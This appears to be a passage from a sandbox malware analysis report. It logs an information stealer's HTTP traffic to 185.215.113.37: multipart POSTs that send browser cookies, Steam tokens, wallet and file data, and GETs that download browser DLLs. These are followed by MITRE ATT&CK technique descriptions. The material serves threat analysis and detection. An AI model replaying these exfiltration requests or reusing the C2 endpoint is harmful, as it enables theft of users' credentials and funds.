47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 4a 45 42 47 44 41 46 48 49 4a 4a 4b 45 48 43 41 41 2d 2d 0d 0a Data Ascii: ------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------EGIJEBGDAFHIJJKEHCAAContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHJECFCGHIDGHIDHDHIEHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 45 43 46 43 47 48 49 44 47 48 49 44 48 44 48 49 45 2d 2d 0d 0a Data Ascii: ------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DHJECFCGHIDGHIDHDHIEContent-Disposition: form-data; name="file"------DHJECFCGHIDGHIDHDHIE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBGHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 2d 2d 0d 0a Data Ascii: ------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="file"------AFBAKKFCBFHIIEBGIDBG--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBGHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHIIJDBKEGIDHIDAFCFHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 49 49 4a 44 42 4b 45 47 49 44 48 49 44 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 4a 44 42 4b 45 47 49 44 48 49 44 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 49 49 4a 44 42 4b 45 47 49 44 48 49 44 41 46 43 46 2d 2d 0d 0a Data Ascii: ------CFHIIJDBKEGIDHIDAFCFContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------CFHIIJDBKEGIDHIDAFCFContent-Disposition: form-data; name="message"wallets------CFHIIJDBKEGIDHIDAFCF--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJKHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="message"files------BKKKFCFIIJJKKFHIEHJK--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEHCGIJECFIECBFIDGDHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 48 43 47 49 4a 45 43 46 49 45 43 42 46 49 44 47 44 2d 2d 0d 0a Data Ascii: ------IJEHCGIJECFIECBFIDGDContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------IJEHCGIJECFIECBFIDGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJEHCGIJECFIECBFIDGDContent-Disposition: form-data; name="file"------IJEHCGIJECFIECBFIDGD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKJKKECFIDGDHIJEGDHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 4a 4b 4b 45 43 46 49 44 47 44 48 49 4a 45 47 44 2d 2d 0d 0a Data Ascii: ------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------CAKKJKKECFIDGDHIJEGDContent-Disposition: form-data; name="message"ybncbhylepme------CAKKJKKECFIDGDHIJEGD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJEBKJEGHJKECAAKJKHost: 185.215.113.37Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGHJEBKJEGHJKECAAKJK--

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
